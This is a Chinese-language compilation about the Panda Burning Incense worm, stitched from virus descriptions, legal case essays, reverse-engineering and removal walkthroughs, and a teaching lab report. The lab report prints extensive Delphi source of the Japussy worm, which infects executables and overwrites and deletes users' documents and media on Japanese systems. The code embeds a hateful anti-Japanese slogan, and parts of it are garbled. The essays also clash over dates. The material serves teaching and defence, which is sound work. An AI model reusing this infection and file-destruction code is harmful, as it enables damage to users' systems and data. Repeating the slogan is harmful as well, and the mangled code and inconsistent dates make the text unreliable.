信息安全 熊猫烧香病毒剖析
【熊猫烧香】病毒介绍

最近出现新的病毒名为熊猫烧香,危害较大,感染后所有EXE可执行文件图标变成一个烧香的熊猫,大家电脑如出现此现象可认真阅读以下文章:一、病毒描述:含有病毒体的文件被运行后,病毒将自身拷贝至系统目录,同时修改注册表将自身设置为开机启动项,并遍历各个驱动器,将自身写入磁盘根目录下,增加一个Autorun.inf 文件,使得用户打开该盘时激活病毒体。
随后病毒体开一个线程进行本地文件感染,同时开另外一个线程连接某网站下载ddos程序进行发动恶意攻击。
二、病毒基本情况:[文件信息]病毒名: Virus.Win32.EvilPanda.a.ex$大小: 0xDA00 (55808), (disk) 0xDA00 (55808)SHA1 : F0C3DA82E1620701AD2F0C8B531EEBEA0E8AF69D壳信息: 未知危害级别:高病毒名: Flooder.Win32.FloodBots.a.ex$大小: 0xE800 (59392), (disk) 0xE800 (59392)SHA1 : B71A7EF22A36DBE27E3830888DAFC3B2A7D5DA0D壳信息: UPX 0.89.6 - 1.02 / 1.05 - 1.24危害级别:高三、病毒行为:Virus.Win32.EvilPanda.a.ex$ :1、病毒体执行后,将自身拷贝到系统目录:%SystemRoot%\system32\FuckJacks.exeHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ Userini t "C:\WIN2K\system32\SVCH0ST.exe"2、添加注册表启动项目确保自身在系统重启动后被加载:键路径:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 键名:FuckJacks键值:"C:\WINDOWS\system32\FuckJacks.exe"键路径:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 键名:svohost键值:"C:\WINDOWS\system32\FuckJacks.exe"3、拷贝自身到所有驱动器根目录,命名为Setup.exe,并生成一个autorun.inf使得用户打开该盘运行病毒,并将这两个文件属性设置为隐藏、只读、系统。
对有关病毒木马的案例分析

对有关病毒木马的案例分析通过学习网络安全法律法规,我们对“大小姐木马”与“熊猫烧香病毒”做出了学习与分析。
一、“大小姐”病毒起因与发展。
2008年5月6日,南京市公安局网络警察支队接江苏省水利厅报案称,该厅政务网站“江苏水利网”页面无法打开,怀疑疑被黑客侵入。
据了解,江苏省水利厅网站主要承担公文办理、汛情下达等重要任务,日访问量在5000人次。
当时,江苏全省已进入汛期,该网站能否正常运行将直接影响全省防汛工作。
南京市公安局网络警察支队将其立为破坏计算机信息系统案侦查,并迅速会同鼓楼公安分局抽调精干警力,成立“5·6”专案组。
攻击是为植入“大小姐”木马专案组围绕省水利厅网站被黑客攻击案,迅速开展勘查取证、侦查侦控、追查抓捕等侦查工作。
去年5月14日至6月6日,专案组在湖北宜昌、广西桂林、湖北潜江等地抓获何某等6名犯罪嫌疑人,成功侦破水利厅网站被攻击案。
在侦破水利厅网站被攻击案件过程中,专案组发现,这些人攻击水利厅网站的目的,是为了在该网站上植入一款名为“大小姐”的木马盗号程序。
而这个“大小姐”木马早已臭名昭著,不少网络游戏账号均被该木马程序盗取过。
这一情况引起公安部高度重视,公安部指定南京市公安局管辖此案,并于7月1日挂牌督办本案。
专案组经艰苦工作,分别于6月13日在上海、6月24日在四川广元、绵阳、10月10日在湖南长沙抓获了制作、传播“大小姐”系列木马,破坏计算机信息系统犯罪团伙的组织者王某、作者龙某及销售总代理周某等10人。
犯罪嫌疑人王某以牟利为目的,自2006年下半年开始,雇用犯罪嫌疑人龙某先后编写了四十余款针对国内流行网络游戏的盗号木马。
王某拿到龙某编写的木马程序后,对外谎称为自己所写,同时寻找代理人进行销售,先后通过周某等人在网上总代理销售木马,该木马系列在传播销售时被命名为“大小姐”木马。
购买了“大小姐”木马的犯罪嫌疑人,则分别针对“QQ自由幻想”、“武林外传”、“征途”、“问道”、“梦幻西游”等网络游戏进行盗号。
熊猫烧香病毒样本分析

熊猫烧⾹病毒样本分析前⾔最近学校通知不开学,⽹课也不想上。
学习逆向也有段时间了,就想着找点东西练⼀下⽔平不⾼。
找了个病毒分析⼀⽐较经典的病毒分析。
我看⽹上有很多关于熊猫烧⾹病毒的分析,但都是侧重于对病毒功能以及影响的总结,具体分析⽅法并未提及。
本⽂主要基本信息动态分析分析⼯具以及环境OD PEIDVMware xp 虚拟机详细分析过程与思路查看⽂件基本信息在虚拟机中⽤PEID 打开病毒样本⽂件发现其⽆壳并且是Delphi 编写的,Delphi 编译器编译的程序有⼏个特点。
第⼀: 其函数默认调⽤约定为Register ,特点为函数参数是通过寄存器传⼊的。
第⼆: ⼀般Delphi 其字符串存储地址的负偏移⼀个dword长度处,存放字符串的长度。
打开OD 载⼊病毒样本⽂件来到程序⼊⼝点后我们进⾏进⼀步分析,我们看到⼊⼝点处有 函数① 和 函数②,其中函数②连续调⽤了三次。
我们F8向下执⾏,并分别进⼊两个函数分析其功能。
进⼊函数①我们发现其主要功能就是调⽤GetModuleHandleA()获得程序基地址(及程序实例句柄)向下继续分析函数②,在调⽤函数②时我们发现其传⼊了两个参数,我们在数据窗⼝中分析发现参数有⼀个为⼀串字符串:“ ***武*汉*男*⽣*感*染*下*载*者*** ". 我们F7进⼊函数内部分析发现其就时将eax 参数地址下的字符串进⾏复制侧重于对熊猫烧⾹病毒逆向分析过程中的思路和⽅法的分享所以我们知道了这三个参数是字符串复制函数,F8向下步过这些函数后。
他们把字符串都复制到了⼀块连续的内存中。
我们可以在数据窗⼝中观察这些字符的内容。
我们接着往下分析,发现两段相同的代码段,只是参数不同。
也就是当程序执⾏完函数0x405360和函数0x404018后如果je不成⽴则结束进程(猜测应该为病毒程序的⾃效验部分)。
我们分别进⼊连个函数分析。
我们先分析函数0x405360,函数的两个参数分别指向两个字符串⼀个是“xboy”,另⼀个如下。
熊猫烧香案件的法律启示(3篇)

第1篇一、引言2009年,我国发生了一起名为“熊猫烧香”的计算机病毒案件,该病毒迅速传播,对广大网民和计算机用户造成了严重的损失。
此案件引起了社会各界的广泛关注,同时也给我国网络安全法律体系带来了深刻的启示。
本文将从熊猫烧香案件的法律启示出发,探讨我国网络安全法律的完善与发展。
二、熊猫烧香案件的法律背景1. 犯罪主体熊猫烧香案件的主要犯罪主体为被告人张某、李某、王某等人。
他们通过编写、传播计算机病毒,非法获取他人计算机信息系统数据,给社会造成了极大的危害。
2. 犯罪手段被告人通过编写名为“熊猫烧香”的计算机病毒,在网络上大量传播。
该病毒能够入侵他人计算机系统,篡改用户数据,甚至控制他人计算机,造成严重后果。
3. 犯罪后果熊猫烧香案件造成了大量网民的计算机系统瘫痪,给企业和个人带来了巨大的经济损失。
同时,该案件还暴露出我国网络安全法律体系的不完善,使得犯罪分子得以逍遥法外。
三、熊猫烧香案件的法律启示1. 完善网络安全法律体系熊猫烧香案件暴露出我国网络安全法律体系的不完善。
为了更好地维护网络安全,我国应加快网络安全法律的立法进程,提高法律体系的科学性和可操作性。
具体包括:(1)制定专门的网络安全法,明确网络安全的基本原则、法律地位和监管职责;(2)完善网络安全管理制度,加强对网络信息内容的监管,确保网络空间的清朗;(3)加大对网络犯罪的打击力度,提高犯罪成本,使犯罪分子付出应有的代价。
2. 加强网络安全执法力度熊猫烧香案件的发生,暴露出我国网络安全执法力度不足的问题。
为了更好地维护网络安全,我国应加强网络安全执法,具体措施如下:(1)建立健全网络安全执法机构,提高执法队伍的专业化水平;(2)加强执法协作,形成跨部门、跨区域的联合执法机制;(3)加大对网络犯罪的惩处力度,提高犯罪分子的法律风险。
3. 提高网络安全意识熊猫烧香案件的发生,提醒我们要提高网络安全意识。
具体措施如下:(1)加强网络安全教育,提高全民网络安全素养;(2)引导网民合理使用网络,自觉抵制网络病毒和不良信息;(3)鼓励企业和个人加强网络安全防护,提高计算机系统的安全性。
实例讲解如何干掉“熊猫烧香”

你中过熊猫烧⾹么?!看到过熊猫拿着三⽀⾹的样⼦么!?中招后如何处理!?看完本⽂,你将学会如何从计算机中杀掉“熊猫烧⾹”。
惊险查杀过程 1.熊猫烧⾹病毒:图⽚就是个熊猫在烧⾹感觉蛮可爱的!当时并没有很在意!第⼆天再次打开电脑的时候!⼏乎电脑所有的EXE⽂件都成了熊猫烧⾹图⽚!这时才有所感觉! 部分EXE⽂件已经⽆法正常使⽤!新加⼀个AUTORUN.INF的⽂件! 当初不明⽩这个⽂件的作⽤!在上查了⼀些资料表明。
才知道。
只要⽤户打开盘符。
就会运⾏这个病毒!⽤杀毒软件杀毒!没有效果!看来现在的杀毒软件越来越不⾏了~.. 2.想⽤组合键打开任务管理器!⽆法打开~失败....想看看注册表有没什么情况。
依然失败!奇怪的是:电脑运⾏正常。
也都不卡!难道不是病毒.是系统出了问题?从上下了第三⽅⼯具查看进程!果然看到两个可疑进程!FuckJacks.exe貌似是最可疑的不敢贸然终⽌!赶快问问⽩度⼤叔! 3.⼤叔告诉我。
是熊猫病毒的进程!⼀切正如我意!懒的装系统了! 4.先结束FuckJacks.exe进程!开始-运⾏-CMD 输⼊:ntsd -c q -p 病毒的PID~终于KILL掉了!⼀切恢复正常了!兴奋ING...赶快打开注册表 突然注册表⼜关了.看看进程FuckJacks.exe。
⼜出现了~~那应该它还有个守护进程!找找找。
⽆发现....奇怪了。
难道他的守护进程插⼊到系统 进程了?不会吧.....头疼⼀阵...。
5.算了,去向朋友找个专杀⼯具。
有⼀个朋友说他写过熊猫的专杀⼯具!晕~~原来⽜⼈在我⾝边。
我都没发现~赶快想他请教~~才⼤概的了解了熊猫烧⾹~ 叫他给了我⼀个⽆壳的熊猫⾃⼰分析下~(⾃⼰动⼿.丰⾐⾜⾷嘛~~) 6.⽤UI32打开熊猫.看到了条⽤的部分资源!⽂件执⾏后。
释放到\system32\FuckJacks.exe下。
7.继续象下可以看到熊猫的⼀些传播过程相当的经典..有扫描同⼀段的电脑~⾃我复制.等等相当强⼤公能~同时感染所有盘符的EXE⽂件~却不对⼀些重要的系统⽂件和常⽤⽂件进⾏感染!可见并不想早成太⼤破坏~修改注册表.禁⽌打开注册表.甚⾄禁⽤了部分服务~~ 8下⾯就是重要的时刻了!从后⾯的代码可以看出!病毒的作者是个⾮常出⾊的程序员!有⾮常好的编程习惯!对病毒的异常运⾏~进⾏了很好的定义~都很⼤段都是作者对病毒运⾏条件的判断定义~值得注意的⼀点:在感染EXE⽂件的同时!感染ASP。
熊猫烧香病毒剖析

伪装技术
熊猫烧香病毒会伪装成其他正常 的文件或程序,诱骗用户运行, 从而感染计算机系统。
03 熊猫烧香病毒的防范与应 对
防范措施
安装防病毒软件
选择可靠的品牌和版本,并及时更新病毒库。
提高网络安全意识
不随意打开未知来源的邮件和链接,不下载 和运行未知来源的文件和程序。
定期备份重要数据
以防数据被病毒感染或损坏。
案例二:熊猫烧香病毒的攻击目标与手法
熊猫烧香病毒主要攻击个人计算机和企业网络系统,通过感染操作系统和应用程序,导致系统运行缓 慢、蓝屏、死机等问题。
该病毒会修改系统注册表、劫持浏览器、禁用安全软件等手段,以实现长期驻留和控制用户计算机。
熊猫烧香病毒还会窃取用户个人信息,如账号密码、信用卡信息等,给用户的隐私和财产安全带来严重 威胁。
与其他蠕虫病毒的比较
传播方式
熊猫烧香病毒与蠕虫病毒相似,都是通过网络进行快速传播 。熊猫烧香病毒利用系统漏洞和用户不慎点击恶意链接等方 式感染计算机。
破坏性
熊猫烧香病毒在感染计算机后,会对系统文件进行篡改,导 致计算机出现蓝屏、频繁重启等问题。此外,熊猫烧香病毒 还会下载其他恶意软件,进一步损害系统安全。
自我保护机制
熊猫烧香病毒具有自我保护机制,通过修改系统 文件、注册表等手段,防止病毒被轻易删除或查 杀。
病毒的隐藏与反侦察技术
隐藏技术
熊猫烧香病毒采用多种隐藏技术, 如将自身嵌入到其他正常文件中、 使用加密和混淆等技术隐藏自身 代码等。
反侦察技术
熊猫烧香病毒会检测自身是否被 检测或查杀,一旦发现自身被检 测或查杀,会采取相应的反侦察 措施,如删除自身、破坏系统文 件等。
熊猫烧香病毒是一种网络攻击手段,与其他网络攻击如拒绝服务攻击、SQL注入攻击等有所不同。熊猫烧香病毒 主要针对个人计算机系统进行感染和破坏。
病毒木马查杀第005篇:熊猫烧香之逆向分析(上)

一、前言对病毒进行逆向分析,可以彻底弄清楚病毒的行为,从而采取更有效的针对手段。
为了节省篇幅,在这里我不打算将“熊猫烧香”进行彻底的分析,只会讲解一些比较重要的部分,大家只要掌握了这些思想,那么就可以处理很多的恶意程序了。
一般来说,对病毒的静态分析,我们采用的工具是IDA Pro,动态分析则采用OllyDbg。
由于后者会使病毒实际运行起来,所以为了安全起见,最好在虚拟机中操作。
另外,在实际分析过程中,我们可能还需要一些辅助工具,比如侦壳或脱壳程序等。
为了简单起见,这次研究的“熊猫烧香”程序并没有加壳,但是以后我们会讨论如何应对加壳或采用了其它保护手段的病毒。
二、查壳操作逆向分析的第一步就是用查壳工具对目标程序进行查壳操作。
这里我使用PEiD v0.95,检测结果如下:图1 对“熊猫烧香”进行查壳操作可见,本程序并没有加壳,那么就不涉及脱壳操作,并且是由Borland Delphi 6.0-7.0编写的。
由Delphi所编写的代码与VC++所编写的代码有所不同,最明显的两点区别如下:1、函数调用时参数的传递不完全用栈,而是主要用寄存器,即Delphi编译器默认以register方式传递函数参数。
这一点与VC编译的程序完全不同。
Delphi一般将第一个参数放入eax寄存器,第二个参数放入edx,第三个参数放入ecx寄存器,其余参数按照与VC程序类似的方式压栈。
2、栈上给局部变量分配空间的时候,栈是向下增长的,而栈上的数组、字符串、结构体等却是向上增长的。
理解这一点可以帮助识别栈上的变量。
对病毒样本进行了简单的侦测之后,就确定了分析的方向,那么接下来就需要使用反汇编工具进行分析了。
三、“熊猫烧香”的初步分析这里我使用IDA Pro载入病毒样本,首先可以看到如下代码:图2 “熊猫烧香”的入口代码上图所示的病毒程序起始处的反汇编代码是Delphi自行生成的,并不是我们所关心的病毒程序的功能代码,所以这里不对其进行讲解。
熊猫烧香案例分析

熊猫烧香案例
第一步,分析熊猫烧香案例所涉及的人物和角色
1.当事人及其角色
李俊:从国外网站下载病毒代码进行修改,并在网上叫卖,并通过这一途径牟利。
后来,又把游戏木马挂到网站上,在网友访问后盗取游戏信封,借以牟利。
雷磊:帮助李俊修改病毒,并向被通缉的李俊通风报信,帮助其逃跑。
王磊:帮助李俊出售病毒牟利,并化名为李俊购买了服务器空间。
张顺:张顺购买李俊网站的流量后,将木马发给李俊,由李俊将这九个游戏木马挂在其个人网站上,通过盗取别人游戏帐号牟利。
2.非当事人及其角色
网民,因为李俊的病毒而导致电脑遭到损害。
第二步,提出案例的伦理问题所在
案例所涉及的伦理问题实质上就是软件工程专业人员如何遵循职业道德规范,不损害公众利益的问题。
因此,对于本案例的分子除了可以应用伦理学理论进行分析外,最好直接应用“专业标准进行分析”和“系统化政策分析”。
第三步,利用相关方法分析案例
1.利用伦理学的方法
不管是按照功利主义的观点,还是按照康德道义论的观点,李俊等人的行为都是违背伦理道德的。
2.利用职业道德的观点
根据条款1公众:软件工程师应当始终如一地以符合公众利益为目标。
其中第1条:对他们的工作承担完全的责任;第4条:所接受的开发工作,必须确认其是安全的、符合规格说明的、经过合适测试的、不会降低生活品质、影响隐私权或有害环境的,一切工作以大众利益为前提;第6条:在所有有关软件、文档、方法和工具的申述中,特别是与公众相关的,力求正直,避免欺骗。
李俊等人的做法完全违背了软件工程人员的职业道德,严重危害到了公众的利益,已经触犯了刑法。
无利害关系人的分析方法!。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
《网络攻击与防御》实验报告计算机科学与技术学院计算机系网络教研室制实验报告撰写要求实验操作是教学过程中理论联系实际的重要环节,而实验报告的撰写又是知识系统化的吸收和升华过程,因此,实验报告应该体现完整性、规范性、正确性、有效性。
现将实验报告撰写的有关内容说明如下:1、实验报告模板为电子版。
2、下载统一的实验报告模板,学生自行完成撰写和打印。
报告的首页包含本次实验的一般信息:●组号:例如:2-5 表示第二班第5组。
●实验日期:例如:05-10-06 表示本次实验日期。
(年-月-日)……●实验编号:例如:No.1 表示第一个实验。
●实验时间:例如:2学时表示本次实验所用的时间。
实验报告正文部分,从六个方面(目的、内容、步骤等)反映本次实验的要点、要求以及完成过程等情况。
模板已为实验报告正文设定统一格式,学生只需在相应项内填充即可。
续页不再需要包含首页中的实验一般信息。
3、实验报告正文部分具体要求如下:一、实验目的本次实验所涉及并要求掌握的知识点。
二、实验环境实验所使用的设备名称及规格,网络管理工具简介、版本等。
三、实验内容与实验要求实验内容、原理分析及具体实验要求。
四、实验过程与分析根据具体实验,记录、整理相应命令、运行结果等,包括截图和文字说明。
详细记录在实验过程中发生的故障和问题,并进行故障分析,说明故障排除的过程及方法。
五、实验结果总结对实验结果进行分析,完成思考题目,总结实验的心得体会,并提出实验的改进意见。
六、附录1)掌握熊猫烧香病毒的工作原理和感染方法;2)掌握手工清除熊猫病毒的基本方法。
目标主机为windows-2003 所用到的工具o Wsyschecko三、实验内容与实验要求蠕虫原理1)蠕虫定义2007年1月流行的“熊猫烧香”以及其变种也是蠕虫病毒。
这一病毒利用了微软视窗操作系统的漏洞,计算机感染这一病毒后,会不断自动拨号上网,并利用文件中的地址信息或者网络共享进行传播,最终破坏用户的大部分重要数据。
蠕虫病毒是自包含的程序(或是一套程序),它能传播它自身功能的拷贝或它的某些部分到其他的计算机系统中(通常是经过网络连接)。
请注意,与一般病毒不同,蠕虫不需要将其自身附着到宿主程序,有两种类型的蠕虫:主机蠕虫与网络蠕虫。
主计算机蠕虫完全包含在它们运行的计算机中,并且使用网络的连接仅将自身拷贝到其他的计算机中,主计算机蠕虫在将其自身的拷贝加入到另外的主机后,就会终止它自身(因此在任意给定的时刻,只有一个蠕虫的拷贝运行),这种蠕虫有时也叫"野兔"。
蠕虫一般不采取利用pe格式插入文件的方法,而是复制自身在互联网环境下进行传播,病毒的传染能力主要是针对计算机内的文件系统而言,而蠕虫病毒的传染目标是互联网内的所有计算机。
局域网条件下的共享文件夹,电子邮件email,网络中的恶意网页,大量存在着漏洞的服务器等都成为蠕虫传播的良好途径。
蠕虫和传统病毒的区别:•传统病毒主要攻击的是文件系统,在其传染的过程中,计算机使用者是传染的触发者,是传染的关键环节,使用者计算机知识水平的高低常常决定了传统病毒所能造成的破坏程度;•蠕虫主要是利用计算机系统漏洞进行传染,在搜索到网络中存在漏洞的计算机后,主动进行攻击。
在传染的过程中,与计算机操作者是否进行操作无关,从而与使用者的计算机知识水平无关。
2)蠕虫的基本程序结构•传播模块:负责蠕虫的传播,通过检查主机或远程计算机的地址库,找到可进一步传染的其他计算机。
•隐藏模块:侵入主机后,隐藏蠕虫程序,防止被用户发现。
•目的功能模块:实现对计算机的控制、监视或破坏等功能。
传播模块由可以分为三个基本模块:扫描模块、攻击模块和复制模块。
蠕虫程序功能模型也可以扩展为如下的形式:3)蠕虫程序的一般传播过程•扫描:由蠕虫的扫描功能模块负责探测存在漏洞的主机。
当程序向某个主机发送探测漏洞的信息并收到成功的反馈信息后,就得到一个可传播的对象。
•攻击:攻击模块按漏洞攻击步骤自动攻击步骤1中找到的对象,取得该主机的权限(一般为管理员权限),获得一个shell。
•复制:复制模块通过原主机和新主机的交互将蠕虫程序复制到新主机并启动。
蠕虫将自身复制到某台计算机之前,也会试图判断该计算机以前是都已被感染过。
在分布式系统中,蠕虫可能会以系统程序名或不易被操作系统察觉的名字来为自己命名,从而伪装自己。
同时,我们也可以看到,传播模块实现的实际上是自动入侵的功能。
所以蠕虫的传播技术是蠕虫技术的首要技术,没有蠕虫的传播技术,也就谈不上什么蠕虫技术了。
“熊猫烧香”蠕虫病毒1)“熊猫烧香”档案又名:尼亚姆、武汉男生、worm.whBoy、worm.nimaya后又化身为:“金猪报喜”病毒类型:蠕虫病毒影响系统:Windows 9X/ME/NT/2000/XP/2003/Vista/72)“熊猫烧香”病毒特点2006年底,我国互联网上大规模爆发“熊猫烧香”病毒及其变种,该病毒通过多种方式进行传播,同时该病毒还具有盗取用户游戏账号、QQ账号等功能。
该病毒传播速度快,危害范围广,截至案发为止,已有上百万个人用户、网吧及企业局域网用户遭受感染和破坏,引起社会各界高度关注。
《瑞星2006安全报告》将其列为十大病毒之首,在《2006年度中国计算机病毒疫情和互联网安全报告》的十大病毒排行中一举成为“毒王”。
“熊猫烧香”,是一个感染型的蠕虫病毒,它能感染系统中exe,com,pif,src,html,asp等文件,它还能中止大量的反病毒软件进程并且会删除扩展名为gho的文件,该文件是一系统备份工具GHOST的备份文件,使用户的系统备份文件丢失。
被感染的用户系统中所有.exe可执行文件全部被改成熊猫举着三根香的模样。
“熊猫烧香”源码分析含有病毒体的文件被运行后,病毒将自身复制至系统目录,同时修改注册表将自身设置为开机启动项,并遍历各个驱动器,将自身写入磁盘根目录下,增加一个 Autorun.inf文件,使得用户打开该磁盘时激活病毒体。
随后病毒体创建一个线程进行本地文件感染,同时创建另外一个线程连接网站下载DOS 程序发动恶意攻击。
下面,我们分析一下用delphi语言描述的“熊猫烧香”的主要源代码:program Japussy;usesWindows, SysUtils, Classes, Graphics, ShellAPI{, Registry};constHeaderSize = 82432; //病毒体的大小IconOffset = $12EB8; //PE文件主图标的偏移量//查找2800000020的十六进制字符串可以找到主图//标的偏移量{HeaderSize = 38912; //Upx压缩过病毒体的大小IconOffset = $92BC; //Upx压缩过PE文件主图标的偏移量//Upx 1.24W 用法: upx -9 --8086 Japussy.exe}IconSize = $2E8; //PE文件主图标的大小--744字节IconTail = IconOffset + IconSize; //PE文件主图标的尾部ID = $44444444; //感染标记//垃圾码,以备写入Catchword = 'If a race need to be killed out, it must be Yamato. ' + 'If a country need to be destroyed, it must be Japan! ' +'*** W32.Japussy.Worm.A ***';{$R *.RES}function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external 'Kernel32.dll';//函数声明varTmpFile: string;Si: STARTUPINFO;Pi: PROCESS_INFORMATION;IsJap: Boolean = False; //日文操作系统标记{ ===============判断是否为Win9x================ }function IsWin9x: Boolean;varVer: TOSVersionInfo;beginResult := False;Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);if not GetVersionEx(Ver) thenExit;if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x Result := True;end;{=======================在流之间复制======================== } procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream; dStartPos: Integer; Count: Integer);varsCurPos, dCurPos: Integer;beginsCurPos := Src.Position;dCurPos := Dst.Position;Src.Seek(sStartPos, 0);Dst.Seek(dStartPos, 0);Dst.CopyFrom(Src, Count);Src.Seek(sCurPos, 0);Dst.Seek(dCurPos, 0);end;{==========将宿主文件从已感染的PE文件中分离出来,以备使用====== } procedure Extract: string);varsStream, dStream: T;begintrysStream := T(ParamStr(0), fmOpenRead or fmShareDenyNone);trydStream := T(, fmCreate);trysStream.Seek(HeaderSize, 0); //跳过头部的病毒部分dStream.CopyFrom(sStream, sStream.Size - HeaderSize);finallydStream.Free;end;finallysStream.Free;end;exceptend;end;{===================填充STARTUPINFO结构================== } procedure FillStartupInfo(var Si: STARTUPINFO; State: Word); beginSi.cb := SizeOf(Si);Si.lpReserved := nil;Si.lpDesktop := nil;Si.lpTitle := nil;Si.dwFlags := STARTF_USESHOWWINDOW;Si.wShowWindow := State;Si.cbReserved2 := 0;Si.lpReserved2 := nil;end;{======================发带毒邮件==================== } procedure SendMail; //此处省略了带危害性代码beginend;{======================感染PE文件==================== } procedure InfectOne: string);varHdrStream, SrcStream: T;IcoStream, DstStream: TMemoryStream;iID: LongInt;aIcon: TIcon;Infected, IsPE: Boolean;i: Integer;Buf: array[0..1] of Char;begintry//出错则文件正在被使用,退出if CompareText(, 'JAPUSSY.EXE') = 0 then //是自己则不感染Exit;Infected := False;IsPE := False;SrcStream := T(, fmOpenRead);tryfor i := 0 to $108 do//检查PE文件头beginSrcStream.Seek(i, soFromBeginning);SrcStream.Read(Buf, 2);if (Buf[0] = #80) and (Buf[1] = #69) then//PE标记beginIsPE := True; //是PE文件Break;end;end;SrcStream.Seek(-4, soFromEnd);//检查感染标记SrcStream.Read(iID, 4);if (iID = ID) or (SrcStream.Size< 10240) then //太小的文件不感染Infected := True;finallySrcStream.Free;end;if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出Exit;IcoStream := TMemoryStream.Create;DstStream := TMemoryStream.Create;tryaIcon := TIcon.Create;try//得到被感染文件的主图标(744字节),存入流aIcon.ReleaseHandle;aIcon.Handle := ExtractIcon(HInstance, PChar(), 0);aIcon.SaveToStream(IcoStream);finallyaIcon.Free;end;SrcStream := T(, fmOpenRead);//头文件HdrStream := T(ParamStr(0), fmOpenRead or fmShareDenyNone);try//写入病毒体主图标之前的数据CopyStream(HdrStream, 0, DstStream, 0, IconOffset);//写入目前程序的主图标CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);//写入病毒体主图标到病毒体尾部之间的数据CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);//写入宿主程序CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);//写入已感染的标记DstStream.Seek(0, 2);iID := $44444444;DstStream.Write(iID, 4);finallyHdrStream.Free;end;finallySrcStream.Free;IcoStream.Free;DstStream.SaveTo); //替换宿主文件DstStream.Free;end;except;end;end;{===================将目标文件写入垃圾码后删除==================}procedure Smash: string);var: Integer;i, Size, Mass, Max, Len: Integer;begintrySet(PChar(), 0);//去掉只读属性:= (, fmOpenWrite); //打开文件trySize := Get(, nil);//文件大小i := 0;Randomize;Max := Random(15); //写入垃圾码的随机次数if Max < 5 thenMax := 5;Mass := Size div Max; //每个间隔块的大小Len := Length(Catchword);while i< Max dobegin(, i * Mass, 0);//定位//写入垃圾码,将文件彻底破坏掉(, Catchword, Len);Inc(i);end;finally();//关闭文件end;Delete());//删除之exceptend;end;{====================获得可写的驱动器列表==================} function GetDrives: string;varDiskType: Word;D: Char;Str: string;i: Integer;beginfor i := 0 to 25 do //遍历26个字母beginD := Chr(i + 65);Str := D + ':\';DiskType := GetDriveType(PChar(Str));//得到本地磁盘和网络盘if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then Result := Result + D;end;end;{====================遍历目录,感染和摧毁文件===================} procedure LoopFiles(Path, Mask: string);vari, Count: Integer;Fn, Ext: string;SubDir: TStrings;SearchRec: TSearchRec;Msg: TMsg;function IsValidDir(SearchRec: TSearchRec): Integer;beginif (SearchRec.Attr<> 16) and (<> '.') and (<> '..') thenResult := 0//不是目录else if (SearchRec.Attr = 16) and (<> '.') and (<> '..') thenResult := 1 //不是根目录else Result := 2; //是根目录end;beginif (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) thenbeginrepeatPeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列,避免引起怀疑if IsValidDir(SearchRec) = 0 thenbeginFn := Path + ;Ext := UpperCase(Extract(Fn));if (Ext = '.EXE') or (Ext = '.SCR') thenbeginInfectOne);//感染可执行文件endelse if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then begin//感染HTML和ASP文件,将Base64编码后的病毒写入//感染浏览此网页的所有用户endelse if Ext = '.WAB' then //Outlook地址簿文件begin//获取Outlook邮件地址endelse if Ext = '.ADC' then //Foxmail地址自动完成文件begin//获取Foxmail邮件地址endelse if Ext = 'IND' then //Foxmail地址簿文件begin//获取Foxmail邮件地址endelsebeginif IsJap thenbeginif (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or (Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or(Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or(Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or(Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or(Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then Smash); //摧毁文件end;end;end;//感染或删除一个文件后睡眠200毫秒,避免CPU占用率过高引起怀疑Sleep(200);until (FindNext(SearchRec) <> 0);end;FindClose(SearchRec);SubDir := TStringList.Create;if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then beginrepeatif IsValidDir(SearchRec) = 1 thenSubDir.Add();until (FindNext(SearchRec) <> 0);end;FindClose(SearchRec);Count := SubDir.Count - 1;for i := 0 to Count doLoopFiles(Path + SubDir.Strings + '\', Mask);FreeAndNil(SubDir);end;//子过程是对典型遍历本机中所有可用盘中所有子目录下的所有子目录下的所有文件实施相应操作的编码。